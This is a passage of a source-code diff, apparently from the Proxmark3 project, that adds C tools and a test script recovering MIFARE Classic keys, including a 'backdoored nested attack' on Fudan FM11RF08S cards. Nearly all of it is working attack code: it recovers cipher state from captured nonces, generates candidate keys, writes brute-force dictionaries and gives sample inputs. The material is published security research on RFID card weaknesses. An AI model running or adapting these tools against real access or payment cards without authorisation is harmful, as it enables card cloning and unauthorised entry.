if (argc > 1 + MAX_NR_NONCES * 3) {
|
||||
fprintf(stderr, "Too many nonces, abort. Choose max %i nonces.\n", MAX_NR_NONCES);
|
||||
return 1;
|
||||
}
|
||||
|
||||
NtpKs1List NKL = {0};
|
||||
uint64_t **keys = NULL;
|
||||
uint32_t keyCounts[MAX_NR_NONCES] = {0};
|
||||
|
||||
uint32_t authuid = hex_to_uint32(argv[1]);
|
||||
// process all args.
|
||||
printf("Generating nonce candidates...\n");
|
||||
for (uint32_t i = 1; i < argc; i += 3) {
|
||||
// uid + ntEnc + parEnc
|
||||
if (strcmp(argv[i], ".") != 0) {
|
||||
authuid = hex_to_uint32(argv[i]);
|
||||
}
|
||||
uint32_t nt_enc = hex_to_uint32(argv[i + 1]);
|
||||
uint8_t nt_par_err_arr[4];
|
||||
if (bin_to_uint8_arr(argv[i + 2], nt_par_err_arr, 4)) {
|
||||
return 1;
|
||||
}
|
||||
uint8_t nt_par_enc = ((nt_par_err_arr[0] ^ oddparity8((nt_enc >> 24) & 0xFF)) << 3) |
|
||||
((nt_par_err_arr[1] ^ oddparity8((nt_enc >> 16) & 0xFF)) << 2) |
|
||||
((nt_par_err_arr[2] ^ oddparity8((nt_enc >> 8) & 0xFF)) << 1) |
|
||||
((nt_par_err_arr[3] ^ oddparity8((nt_enc >> 0) & 0xFF)) << 0);
|
||||
NtData *pNtData = &NKL.NtDataList[NKL.nr_nonces];
|
||||
// Try to recover the keystream1
|
||||
uint32_t nttest = prng_successor(1, 16); // a first valid nonce
|
||||
pNtData->pNK = (NtpKs1 *)malloc(sizeof(NtpKs1) * 8192); // 2**16 filtered with 3 parity bits => 2**13
|
||||
if (pNtData->pNK == NULL) {
|
||||
return 1;
|
||||
}
|
||||
uint32_t j = 0;
|
||||
for (uint16_t m = 1; m; m++) {
|
||||
uint32_t ks1 = nt_enc ^ nttest;
|
||||
if (valid_nonce(nttest, ks1, nt_par_enc)) {
|
||||
pNtData->pNK[j].ntp = nttest;
|
||||
pNtData->pNK[j].ks1 = ks1;
|
||||
j++;
|
||||
}
|
||||
nttest = prng_successor(nttest, 1);
|
||||
}
|
||||
printf("uid=%08x nt_enc=%08x nt_par_err=%i%i%i%i nt_par_enc=%i%i%i%i %i/%i: %d\n", authuid, nt_enc,
|
||||
nt_par_err_arr[0], nt_par_err_arr[1], nt_par_err_arr[2], nt_par_err_arr[3],
|
||||
(nt_par_enc >> 3)&1, (nt_par_enc >> 2)&1, (nt_par_enc >> 1)&1, nt_par_enc&1,
|
||||
NKL.nr_nonces + 1, (argc - 1) / 3, j);
|
||||
|
||||
pNtData->authuid = authuid;
|
||||
pNtData->sizeNK = j;
|
||||
pNtData->nt_enc = nt_enc;
|
||||
pNtData->nt_par_enc = nt_par_enc;
|
||||
NKL.nr_nonces++;
|
||||
}
|
||||
|
||||
printf("Finding key candidates...\n");
|
||||
keys = unpredictable_nested(&NKL, keyCounts);
|
||||
printf("\n\nFinding phase complete.\n");
|
||||
|
||||
for (uint32_t k = 0; k < NKL.nr_nonces; k++)
|
||||
free(NKL.NtDataList[k].pNK);
|
||||
|
||||
analyze_keys(keys, keyCounts, NKL.nr_nonces);
|
||||
FILE* fptr;
|
||||
// opening the file in read mode
|
||||
fptr = fopen("keys.dic", "w");
|
||||
if (fptr != NULL) {
|
||||
for (uint32_t i = 1; i < NKL.nr_nonces; i++) {
|
||||
if (keyCounts[i] > 0) {
|
||||
for (uint32_t j = 0; j < keyCounts[i]; j++) {
|
||||
fprintf(fptr, "%012" PRIx64 "\n", keys[i][j]);
|
||||
}
|
||||
}
|
||||
}
|
||||
fclose(fptr);
|
||||
} else {
|
||||
fprintf(stderr, "Warning: Cannot save keys in keys.dic\n");
|
||||
}
|
||||
for (uint32_t i = 1; i < NKL.nr_nonces; i++) {
|
||||
if (keys[i] != NULL) {
|
||||
free(keys[i]);
|
||||
}
|
||||
}
|
||||
if (keys != NULL) {
|
||||
free(keys);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
164
tools/mfc/card_only/staticnested_1nt.c
Normal file
164
tools/mfc/card_only/staticnested_1nt.c
Normal file
|
@ -0,0 +1,164 @@
|
|||
// Backdoored Nested Attack against Fudan FM11RF08S tags
|
||||
//
|
||||
// Attack conditions:
|
||||
// * Backdoor
|
||||
//
|
||||
// Strategy:
|
||||
// * Use backdoor on the targeted sector to get the clear static nested nT
|
||||
// * Enumerate key candidates based on clear and encrypted nT
|
||||
// * Use the resulting dictionary to bruteforce the key
|
||||
//
|
||||
// Doegox, 2024
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <inttypes.h>
|
||||
#include "common.h"
|
||||
#include "crapto1/crapto1.h"
|
||||
#include "parity.h"
|
||||
|
||||
#define KEY_SPACE_SIZE (1 << 18)
|
||||
|
||||
typedef struct {
|
||||
uint32_t authuid;
|
||||
uint32_t nt;
|
||||
uint32_t nt_enc;
|
||||
uint8_t nt_par_enc;
|
||||
} NtData;
|
||||
|
||||
static uint32_t hex_to_uint32(const char *hex_str) {
|
||||
return (uint32_t)strtoul(hex_str, NULL, 16);
|
||||
}
|
||||
|
||||
static int bin_to_uint8_arr(const char *bin_str, uint8_t bit_arr[], uint8_t arr_size) {
|
||||
if (strlen(bin_str) != arr_size) {
|
||||
fprintf(stderr, "Error: Binary string (%s) length does not match array size (%i).\n", bin_str, arr_size);
|
||||
return 1;
|
||||
}
|
||||
|
||||
for (uint8_t i = 0; i < arr_size; i++) {
|
||||
if (bin_str[i] == '0') {
|
||||
bit_arr[i] = 0;
|
||||
} else if (bin_str[i] == '1') {
|
||||
bit_arr[i] = 1;
|
||||
} else {
|
||||
fprintf(stderr, "Error: Invalid character '%c' in binary string.\n", bin_str[i]);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static uint64_t *generate_keys(uint64_t authuid, uint32_t nt, uint32_t nt_enc, uint32_t nt_par_enc, uint32_t *keyCount) {
|
||||
uint64_t *result_keys = (uint64_t *)malloc(KEY_SPACE_SIZE * sizeof(uint64_t));
|
||||
if (result_keys == NULL) {
|
||||
fprintf(stderr, "\nMalloc error in generate_and_intersect_keys!\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
struct Crypto1State *revstate, *revstate_start = NULL, *s = NULL;
|
||||
uint64_t lfsr = 0;
|
||||
uint32_t ks1 = nt ^ nt_enc;
|
||||
|
||||
revstate = lfsr_recovery32(ks1, nt ^ authuid);
|
||||
if (revstate == NULL) {
|
||||
fprintf(stderr, "\nMalloc error in generate_keys!\n");
|
||||
free(result_keys);
|
||||
return NULL;
|
||||
}
|
||||
if (revstate_start == NULL) {
|
||||
revstate_start = revstate;
|
||||
}
|
||||
s = crypto1_create(0);
|
||||
if (s == NULL) {
|
||||
fprintf(stderr, "\nMalloc error in generate_keys!\n");
|
||||
free(result_keys);
|
||||
crypto1_destroy(revstate_start);
|
||||
return 0;
|
||||
}
|
||||
while ((revstate->odd != 0x0) || (revstate->even != 0x0)) {
|
||||
lfsr_rollback_word(revstate, nt ^ authuid, 0);
|
||||
crypto1_get_lfsr(revstate, &lfsr);
|
||||
|
||||
// only filtering possibility: last parity bit ks in ks2
|
||||
uint32_t ks2;
|
||||
uint8_t lastpar1, lastpar2, kslastp;
|
||||
crypto1_init(s, lfsr);
|
||||
crypto1_word(s, nt ^ authuid, 0);
|
||||
ks2 = crypto1_word(s, 0, 0);
|
||||
lastpar1 = oddparity8(nt & 0xFF);
|
||||
kslastp = (ks2 >> 24) & 1;
|
||||
lastpar2 = (nt_par_enc & 1) ^ kslastp;
|
||||
if (lastpar1 == lastpar2) {
|
||||
result_keys[(*keyCount)++] = lfsr;
|
||||
if (*keyCount == KEY_SPACE_SIZE) {
|
||||
fprintf(stderr, "No space left on result_keys, abort! Increase KEY_SPACE_SIZE\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
revstate++;
|
||||
}
|
||||
crypto1_destroy(s);
|
||||
crypto1_destroy(revstate_start);
|
||||
revstate_start = NULL;
|
||||
return result_keys;
|
||||
}
|
||||
|
||||
int main(int argc, char *const argv[]) {
|
||||
if (argc != 6) {
|
||||
int cmdlen = strlen(argv[0]);
|
||||
printf("Usage:\n %s <uid:hex> <sector:dec> <nt:hex> <nt_enc:hex> <nt_par_err:bin>\n"
|
||||
" parity example: if for block 63 == sector 15, nt in trace is 7b! fc! 7a! 5b\n"
|
||||
" then nt_enc is 7bfc7a5b and nt_par_err is 1110\n"
|
||||
"Example:\n"
|
||||
" %*s a13e4902 15 d14191b3 2e9e49fc 1111\n"
|
||||
" %*s +uid +s +nt +nt_enc +nt_par_err\n",
|
||||
argv[0], cmdlen, argv[0], cmdlen, "");
|
||||
return 1;
|
||||
}
|
||||
uint64_t *keys = NULL;
|
||||
uint32_t keyCount = 0;
|
||||
|
||||
uint32_t authuid = hex_to_uint32(argv[1]);
|
||||
uint32_t sector = hex_to_uint32(argv[2]);
|
||||
uint32_t nt = hex_to_uint32(argv[3]);
|
||||
uint32_t nt_enc = hex_to_uint32(argv[4]);
|
||||
uint8_t nt_par_err_arr[4];
|
||||
if (bin_to_uint8_arr(argv[5], nt_par_err_arr, 4)) {
|
||||
return 1;
|
||||
}
|
||||
uint8_t nt_par_enc = ((nt_par_err_arr[0] ^ oddparity8((nt_enc >> 24) & 0xFF)) << 3) |
|
||||
((nt_par_err_arr[1] ^ oddparity8((nt_enc >> 16) & 0xFF)) << 2) |
|
||||
((nt_par_err_arr[2] ^ oddparity8((nt_enc >> 8) & 0xFF)) << 1) |
|
||||
((nt_par_err_arr[3] ^ oddparity8((nt_enc >> 0) & 0xFF)) << 0);
|
||||
printf("uid=%08x nt=%08x nt_enc=%08x nt_par_err=%i%i%i%i nt_par_enc=%i%i%i%i ks1=%08x\n", authuid, nt, nt_enc,
|
||||
nt_par_err_arr[0], nt_par_err_arr[1], nt_par_err_arr[2], nt_par_err_arr[3],
|
||||
(nt_par_enc >> 3)&1, (nt_par_enc >> 2)&1, (nt_par_enc >> 1)&1, nt_par_enc&1,
|
||||
nt ^ nt_enc);
|
||||
|
||||
|
||||
printf("Finding key candidates...\n");
|
||||
keys = generate_keys(authuid, nt, nt_enc, nt_par_enc, &keyCount);
|
||||
printf("Finding phase complete, found %i keys\n", keyCount);
|
||||
|
||||
FILE* fptr;
|
||||
char filename[30];
|
||||
snprintf(filename, sizeof(filename), "keys_%08x_%02i_%08x.dic", authuid, sector, nt);
|
||||
|
||||
fptr = fopen(filename, "w");
|
||||
if (fptr != NULL) {
|
||||
if (keyCount > 0) {
|
||||
for (uint32_t j = 0; j < keyCount; j++) {
|
||||
fprintf(fptr, "%012" PRIx64 "\n", keys[j]);
|
||||
}
|
||||
}
|
||||
fclose(fptr);
|
||||
} else {
|
||||
fprintf(stderr, "Warning: Cannot save keys in %s\n", filename);
|
||||
}
|
||||
if (keys != NULL) {
|
||||
free(keys);
|
||||
}
|
||||
return 0;
|
||||
}
|
236
tools/mfc/card_only/staticnested_2nt.c
Normal file
236
tools/mfc/card_only/staticnested_2nt.c
Normal file
|
@ -0,0 +1,236 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <inttypes.h>
|
||||
#include <pthread.h>
|
||||
#include "common.h"
|
||||
#include "nested_util.h"
|
||||
#include "crapto1/crapto1.h"
|
||||
|
||||
|
||||
#define AEND "\x1b[0m"
|
||||
#define _RED_(s) "\x1b[31m" s AEND
|
||||
#define _GREEN_(s) "\x1b[32m" s AEND
|
||||
#define _YELLOW_(s) "\x1b[33m" s AEND
|
||||
#define _CYAN_(s) "\x1b[36m" s AEND
|
||||
|
||||
typedef struct {
|
||||
union {
|
||||
struct Crypto1State *slhead;
|
||||
uint64_t *keyhead;
|
||||
} head;
|
||||
union {
|
||||
struct Crypto1State *sltail;
|
||||
uint64_t *keytail;
|
||||
} tail;
|
||||
uint32_t len;
|
||||
uint32_t uid;
|
||||
uint32_t blockNo;
|
||||
uint32_t keyType;
|
||||
uint32_t nt_enc;
|
||||
uint32_t ks1;
|
||||
} StateList_t;
|
||||
|
||||
|
||||
inline static int compare_uint64(const void *a, const void *b) {
|
||||
if (*(uint64_t *)b == *(uint64_t *)a) return 0;
|
||||
if (*(uint64_t *)b < * (uint64_t *)a) return 1;
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Compare 16 Bits out of cryptostate
|
||||
inline static int compare16Bits(const void *a, const void *b) {
|
||||
if ((*(uint64_t *)b & 0x00ff000000ff0000) == (*(uint64_t *)a & 0x00ff000000ff0000)) return 0;
|
||||
if ((*(uint64_t *)b & 0x00ff000000ff0000) > (*(uint64_t *)a & 0x00ff000000ff0000)) return 1;
|
||||
return -1;
|
||||
}
|
||||
|
||||
// create the intersection (common members) of two sorted lists. Lists are terminated by -1. Result will be in list1. Number of elements is returned.
|
||||
static uint32_t intersection(uint64_t *listA, uint64_t *listB) {
|
||||
if (listA == NULL || listB == NULL)
|
||||
return 0;
|
||||
|
||||
uint64_t *p1, *p2, *p3;
|
||||
p1 = p3 = listA;
|
||||
p2 = listB;
|
||||
|
||||
while (*p1 != UINT64_C(-1) && *p2 != UINT64_C(-1)) {
|
||||
if (compare_uint64(p1, p2) == 0) {
|
||||
*p3++ = *p1++;
|
||||
p2++;
|
||||
} else {
|
||||
while (compare_uint64(p1, p2) < 0) ++p1;
|
||||
while (compare_uint64(p1, p2) > 0) ++p2;
|
||||
}
|
||||
}
|
||||
*p3 = UINT64_C(-1);
|
||||
return p3 - listA;
|
||||
}
|
||||
|
||||
// wrapper function for multi-threaded lfsr_recovery32
|
||||
static void
|
||||
#ifdef __has_attribute
|
||||
#if __has_attribute(force_align_arg_pointer)
|
||||
__attribute__((force_align_arg_pointer))
|
||||
#endif
|
||||
#endif
|
||||
*nested_worker_thread(void *arg) {
|
||||
struct Crypto1State *p1;
|
||||
StateList_t *statelist = arg;
|
||||
statelist->head.slhead = lfsr_recovery32(statelist->ks1, statelist->nt_enc ^ statelist->uid);
|
||||
|
||||
for (p1 = statelist->head.slhead; p1->odd | p1->even; p1++) {};
|
||||
|
||||
statelist->len = p1 - statelist->head.slhead;
|
||||
statelist->tail.sltail = --p1;
|
||||
|
||||
qsort(statelist->head.slhead, statelist->len, sizeof(uint64_t), compare16Bits);
|
||||
|
||||
return statelist->head.slhead;
|
||||
}
|
||||
|
||||
static void pm3_staticnested(uint32_t uid, uint32_t nt1, uint32_t ks1, uint32_t nt2, uint32_t ks2) {
|
||||
|
||||
StateList_t statelists[2];
|
||||
struct Crypto1State *p1, * p2, * p3, * p4;
|
||||
|
||||
for (uint8_t i = 0; i < 2; i++) {
|
||||
statelists[i].uid = uid;
|
||||
}
|
||||
|
||||
statelists[0].nt_enc = nt1;
|
||||
statelists[0].ks1 = ks1;
|
||||
statelists[1].nt_enc = nt2;
|
||||
statelists[1].ks1 = ks2;
|
||||
|
||||
// calc keys
|
||||
pthread_t thread_id[2];
|
||||
|
||||
// create and run worker threads
|
||||
for (uint8_t i = 0; i < 2; i++)
|
||||
pthread_create(thread_id + i, NULL, nested_worker_thread, &statelists[i]);
|
||||
|
||||
// wait for threads to terminate:
|
||||
for (uint8_t i = 0; i < 2; i++)
|
||||
pthread_join(thread_id[i], (void *)&statelists[i].head.slhead);
|
||||
|
||||
// the first 16 Bits of the cryptostate already contain part of our key.
|
||||
// Create the intersection of the two lists based on these 16 Bits and
|
||||
// roll back the cryptostate
|
||||
p1 = p3 = statelists[0].head.slhead;
|
||||
p2 = p4 = statelists[1].head.slhead;
|
||||
|
||||
while (p1 <= statelists[0].tail.sltail && p2 <= statelists[1].tail.sltail) {
|
||||
if (compare16Bits(p1, p2) == 0) {
|
||||
|
||||
struct Crypto1State savestate;
|
||||
savestate = *p1;
|
||||
while (compare16Bits(p1, &savestate) == 0 && p1 <= statelists[0].tail.sltail) {
|
||||
*p3 = *p1;
|
||||
lfsr_rollback_word(p3, statelists[0].nt_enc ^ statelists[0].uid, 0);
|
||||
p3++;
|
||||
p1++;
|
||||
}
|
||||
savestate = *p2;
|
||||
while (compare16Bits(p2, &savestate) == 0 && p2 <= statelists[1].tail.sltail) {
|
||||
*p4 = *p2;
|
||||
lfsr_rollback_word(p4, statelists[1].nt_enc ^ statelists[1].uid, 0);
|
||||
p4++;
|
||||
p2++;
|
||||
}
|
||||
} else {
|
||||
while (compare16Bits(p1, p2) == -1) p1++;
|
||||
while (compare16Bits(p1, p2) == 1) p2++;
|
||||
}
|
||||
}
|
||||
|
||||
p3->odd = -1;
|
||||
p3->even = -1;
|
||||
p4->odd = -1;
|
||||
p4->even = -1;
|
||||
statelists[0].len = p3 - statelists[0].head.slhead;
|
||||
statelists[1].len = p4 - statelists[1].head.slhead;
|
||||
statelists[0].tail.sltail = --p3;
|
||||
statelists[1].tail.sltail = --p4;
|
||||
|
||||
// the statelists now contain possible keys. The key we are searching for must be in the
|
||||
// intersection of both lists
|
||||
qsort(statelists[0].head.keyhead, statelists[0].len, sizeof(uint64_t), compare_uint64);
|
||||
qsort(statelists[1].head.keyhead, statelists[1].len, sizeof(uint64_t), compare_uint64);
|
||||
// Create the intersection
|
||||
statelists[0].len = intersection(statelists[0].head.keyhead, statelists[1].head.keyhead);
|
||||
|
||||
uint32_t keycnt = statelists[0].len;
|
||||
if (keycnt) {
|
||||
printf("PM3 Static nested --> Found " _YELLOW_("%u") " key candidates\n", keycnt);
|
||||
for (uint32_t k = 0; k < keycnt; k++) {
|
||||
uint64_t key64 = 0;
|
||||
crypto1_get_lfsr(statelists[0].head.slhead + k, &key64);
|
||||
printf("[ %u ] " _GREEN_("%012" PRIx64) "\n", k + 1, key64);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static int usage(void) {
|
||||
printf("\n");
|
||||
printf("\nProgram tries to recover keys from static encrypted nested MFC cards\n");
|
||||
printf("using two different implementations, Chameleon Ultra (CU) and Proxmark3.\n");
|
||||
printf("It uses the nonce, keystream sent from pm3 device to client.\n");
|
||||
printf("ie: NOT the CU data which is data in the trace.\n");
|
||||
printf("\n");
|
||||
printf("syntax: staticnested <uid> <nt1> <ks1> <nt2> <ks2>\n\n");
|
||||
printf("samples:\n");
|
||||
printf("\n");
|
||||
printf(" ./staticnested 461dce03 7eef3586 ffb02eda 322bc14d ffc875ca\n");
|
||||
printf(" ./staticnested 461dce03 7eef3586 1fb6b496 322bc14d 1f4eebdd\n");
|
||||
printf(" ./staticnested 461dce03 7eef3586 7fa28c7e 322bc14d 7f62b3d6\n");
|
||||
printf("\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
int main(int argc, char *const argv[]) {
|
||||
|
||||
printf("\nMIFARE Classic static nested key recovery\n\n");
|
||||
|
||||
if (argc < 5) return usage();
|
||||
|
||||
printf("Init...\n");
|
||||
NtpKs1 *pNK = calloc(2, sizeof(NtpKs1));
|
||||
if (pNK == NULL) {
|
||||
goto error;
|
||||
}
|
||||
|
||||
uint32_t uid = 0;
|
||||
|
||||
sscanf(argv[1], "%x", &uid);
|
||||
sscanf(argv[2], "%x", &pNK[0].ntp);
|
||||
sscanf(argv[3], "%x", &pNK[0].ks1);
|
||||
sscanf(argv[4], "%x", &pNK[1].ntp);
|
||||
sscanf(argv[5], "%x", &pNK[1].ks1);
|
||||
|
||||
printf("uid... %08x\n", uid);
|
||||
printf("nt1... %08x\n", pNK[0].ntp);
|
||||
printf("ks1... %08x\n", pNK[0].ks1);
|
||||
printf("nt2... %08x\n", pNK[1].ntp);
|
||||
printf("ks2... %08x\n", pNK[1].ks1);
|
||||
|
||||
// process all args.
|
||||
printf("Recovery...\n");
|
||||
|
||||
uint32_t key_count = 0;
|
||||
uint64_t *keys = nested(pNK, 2, uid, &key_count);
|
||||
if (key_count) {
|
||||
printf("Ultra Static nested --> Found " _YELLOW_("%u") " key candidates\n", key_count);
|
||||
for (uint32_t k = 0; k < key_count; k++) {
|
||||
printf("[ %u ] " _GREEN_("%012" PRIx64) "\n", k + 1, keys[k]);
|
||||
}
|
||||
}
|
||||
|
||||
pm3_staticnested(uid, pNK[0].ntp, pNK[0].ks1, pNK[1].ntp, pNK[1].ks1);
|
||||
|
||||
fflush(stdout);
|
||||
free(keys);
|
||||
exit(EXIT_SUCCESS);
|
||||
error:
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
9
tools/mfc/card_only/staticnested_2nt_test.sh
Executable file
9
tools/mfc/card_only/staticnested_2nt_test.sh
Executable file
|
@ -0,0 +1,9 @@
|
|||
./staticnested_2nt 461dce03 7eef3586 ffb02eda 322bc14d ffc875ca;
|
||||
./staticnested_2nt 461dce03 7eef3586 7f21594f 322bc14d 7f815fba;
|
||||
./staticnested_2nt 461dce03 7eef3586 ff315fe7 322bc14d ffc1364d;
|
||||
./staticnested_2nt 461dce03 7eef3586 d742a617 322bc14d d7f2f337;
|
||||
./staticnested_2nt 461dce03 7eef3586 5e3e037c 322bc14d 5ef705c2;
|
||||
./staticnested_2nt 461dce03 7eef3586 5fcaebc6 322bc14d 5f72de17;
|
||||
./staticnested_2nt 461dce03 7eef3586 3fbcfb30 322bc14d 3fe4c47c;
|
||||
./staticnested_2nt 461dce03 7eef3586 1fb6b496 322bc14d 1f4eebdd;
|
||||
./staticnested_2nt 461dce03 7eef3586 7fa28c7e 322bc14d 7f62b3d6;
|
243
tools/mfc/card_only/staticnested_2x1nt_rf08s.c
Normal file
243
tools/mfc/card_only/staticnested_2x1nt_rf08s.c
Normal file
|
@ -0,0 +1,243 @@
|
|||
// Faster Backdoored Nested Attack against Fudan FM11RF08S tags
|
||||
//
|
||||
// Attack conditions:
|
||||
// * Backdoor
|
||||
// * keyA and keyB are different for the targeted sector
|
||||
//
|
||||
// Strategy:
|
||||
// * Use backdoor on the targeted sector to get the clear static nested nT for keyA and for keyB
|
||||
// * Generate 2 lists of key candidates based on clear and encrypted nT
|
||||
// * Search couples of keyA/keyB satisfying some obscure relationship
|
||||
// * Use the resulting dictionary to bruteforce the keyA (and staticnested_2x1nt_rf08s_1key for keyB)
|
||||
//
|
||||
// Doegox, 2024
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
#include <string.h>
|
||||
#include <inttypes.h>
|
||||
|
||||
uint16_t i_lfsr16[1 << 16] = {0};
|
||||
uint16_t s_lfsr16[1 << 16] = {0};
|
||||
|
||||
static void init_lfsr16_table(void) {
|
||||
uint16_t x = 1;
|
||||
for (uint16_t i=1; i; ++i) {
|
||||
i_lfsr16[(x & 0xff) << 8 | x >> 8] = i;
|
||||
s_lfsr16[i] = (x & 0xff) << 8 | x >> 8;
|
||||
x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15;
|
||||
}
|
||||
}
|
||||
|
||||
// static uint16_t next_lfsr16(uint16_t nonce) {
|
||||
// return s_lfsr16[(i_lfsr16[nonce]+1) % 65535];
|
||||
// }
|
||||
|
||||
static uint16_t prev_lfsr16(uint16_t nonce) {
|
||||
return s_lfsr16[(i_lfsr16[nonce]-1) % 65535];
|
||||
}
|
||||
|
||||
static uint16_t compute_seednt16_nt32(uint32_t nt32, uint64_t key) {
|
||||
uint8_t a[] = {0, 8, 9, 4, 6, 11, 1, 15, 12, 5, 2, 13, 10, 14, 3, 7};
|
||||
uint8_t b[] = {0, 13, 1, 14, 4, 10, 15, 7, 5, 3, 8, 6, 9, 2, 12, 11};
|
||||
uint16_t nt = nt32 >> 16;
|
||||
uint8_t prev = 14;
|
||||
for (uint8_t i=0; i<prev; i++) {
|
||||
nt = prev_lfsr16(nt);
|
||||
}
|
||||
uint8_t prevoff = 8;
|
||||
bool odd = 1;
|
||||
|
||||
for (uint8_t i=0; i<6*8; i+=8) {
|
||||
if (odd) {
|
||||
nt ^= (a[(key >> i) & 0xF]);
|
||||
nt ^= (b[(key >> i >> 4) & 0xF]) << 4;
|
||||
} else {
|
||||
nt ^= (b[(key >> i) & 0xF]);
|
||||
nt ^= (a[(key >> i >> 4) & 0xF]) << 4;
|
||||
}
|
||||
odd ^= 1;
|
||||
prev += prevoff;
|
||||
for (uint8_t j=0; j<prevoff; j++) {
|
||||
nt = prev_lfsr16(nt);
|
||||
}
|
||||
}
|
||||
return nt;
|
||||
}
|
||||
|
||||
int main(int argc, char *const argv[]) {
|
||||
if (argc != 3) {
|
||||
printf("Usage:\n %s keys_<uid:08x>_<sector:02>_<nt1:08x>.dic keys_<uid:08x>_<sector:02>_<nt2:08x>.dic\n"
|
||||
" where both dict files are produced by staticnested_1nt *for the same UID and same sector*\n",
|
||||
argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
uint32_t uid1, sector1, nt1, uid2, sector2, nt2;
|
||||
char *filename1 = argv[1], *filename2= argv[2];
|
||||
|
||||
int result;
|
||||
result = sscanf(filename1, "keys_%8x_%2d_%8x.dic", &uid1, §or1, &nt1);
|
||||
if (result != 3) {
|
||||
fprintf(stderr, "Error: Failed to parse the filename %s.\n", filename1);
|
||||
return 1;
|
||||
}
|
||||
result = sscanf(filename2, "keys_%8x_%2d_%8x.dic", &uid2, §or2, &nt2);
|
||||
if (result != 3) {
|
||||
fprintf(stderr, "Error: Failed to parse the filename %s.\n", filename2);
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (uid1 != uid2) {
|
||||
fprintf(stderr, "Error: Files must belong to the same UID.\n");
|
||||
return 1;
|
||||
}
|
||||
if (sector1 != sector2) {
|
||||
fprintf(stderr, "Error: Files must belong to the same sector.\n");
|
||||
return 1;
|
||||
}
|
||||
if (nt1 == nt2) {
|
||||
fprintf(stderr, "Error: Files must belong to different nonces.\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
init_lfsr16_table();
|
||||
|
||||
uint32_t keycount1 = 0;
|
||||
uint64_t* keys1 = NULL;
|
||||
uint8_t* filter_keys1 = NULL;
|
||||
uint16_t* seednt1 = NULL;
|
||||
uint32_t keycount2 = 0;
|
||||
uint64_t* keys2 = NULL;
|
||||
uint8_t* filter_keys2 = NULL;
|
||||
FILE* fptr;
|
||||
|
||||
fptr = fopen(filename1, "r");
|
||||
if (fptr != NULL) {
|
||||
uint64_t buffer;
|
||||
while (fscanf(fptr, "%012" PRIx64, &buffer) == 1) {
|
||||
keycount1++;
|
||||
}
|
||||
|
||||
keys1 = (uint64_t*)malloc(keycount1 * sizeof(uint64_t));
|
||||
filter_keys1 = (uint8_t*)calloc(keycount1, sizeof(uint8_t));
|
||||
if ((keys1 == NULL)||(filter_keys1 == NULL)) {
|
||||
perror("Failed to allocate memory");
|
||||
fclose(fptr);
|
||||
goto end;
|
||||
}
|
||||
rewind(fptr);
|
||||
|
||||
for (uint32_t i = 0; i < keycount1; i++) {
|
||||
if (fscanf(fptr, "%012" PRIx64, &keys1[i]) != 1) {
|
||||
perror("Failed to read key");
|
||||
fclose(fptr);
|
||||
goto end;
|
||||
}
|
||||
}
|
||||
fclose(fptr);
|
||||
} else {
|
||||
fprintf(stderr, "Warning: Cannot open %s\n", filename1);
|
||||
goto end;
|
||||
}
|
||||
|
||||
fptr = fopen(filename2, "r");
|
||||
if (fptr != NULL) {
|
||||
uint64_t buffer;
|
||||
while (fscanf(fptr, "%012" PRIx64, &buffer) == 1) {
|
||||
keycount2++;
|
||||
}
|
||||
|
||||
keys2 = (uint64_t*)malloc(keycount2 * sizeof(uint64_t));
|
||||
filter_keys2 = (uint8_t*)calloc(keycount1, sizeof(uint8_t));
|
||||
if ((keys2 == NULL)||(filter_keys2 == NULL)) {
|
||||
perror("Failed to allocate memory");
|
||||
fclose(fptr);
|
||||
goto end;
|
||||
}
|
||||
rewind(fptr);
|
||||
|
||||
for (uint32_t i = 0; i < keycount2; i++) {
|
||||
if (fscanf(fptr, "%012" PRIx64, &keys2[i]) != 1) {
|
||||
perror("Failed to read key");
|
||||
fclose(fptr);
|
||||
goto end;
|
||||
}
|
||||
}
|
||||
fclose(fptr);
|
||||
} else {
|
||||
fprintf(stderr, "Warning: Cannot open %s\n", filename2);
|
||||
goto end;
|
||||
}
|
||||
|
||||
printf("%s: %i keys loaded\n", filename1, keycount1);
|
||||
printf("%s: %i keys loaded\n", filename2, keycount2);
|
||||
|
||||
seednt1 = (uint16_t*)malloc(keycount1 * sizeof(uint16_t));
|
||||
if (seednt1 == NULL) {
|
||||
perror("Failed to allocate memory");
|
||||
goto end;
|
||||
}
|
||||
for (uint32_t i = 0; i < keycount1; i++) {
|
||||
seednt1[i] = compute_seednt16_nt32(nt1, keys1[i]);
|
||||
}
|
||||
for (uint32_t j = 0; j < keycount2; j++) {
|
||||
uint16_t seednt2 = compute_seednt16_nt32(nt2, keys2[j]);
|
||||
for (uint32_t i = 0; i < keycount1; i++) {
|
||||
if (seednt2 == seednt1[i]) {
|
||||
// printf("MATCH: key1=%012" PRIx64 " key2=%012" PRIx64 "\n", keys1[i], keys2[j]);
|
||||
filter_keys1[i] = 1;
|
||||
filter_keys2[j] = 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
char filter_filename1[40];
|
||||
uint32_t filter_keycount1 = 0;
|
||||
snprintf(filter_filename1, sizeof(filter_filename1), "keys_%08x_%02i_%08x_filtered.dic", uid1, sector1, nt1);
|
||||
fptr = fopen(filter_filename1, "w");
|
||||
if (fptr != NULL) {
|
||||
for (uint32_t j = 0; j < keycount1; j++) {
|
||||
if (filter_keys1[j]) {
|
||||
filter_keycount1++;
|
||||
fprintf(fptr, "%012" PRIx64 "\n", keys1[j]);
|
||||
}
|
||||
}
|
||||
fclose(fptr);
|
||||
} else {
|
||||
fprintf(stderr, "Warning: Cannot save keys in %s\n", filter_filename1);
|
||||
}
|
||||
|
||||
char filter_filename2[40];
|
||||
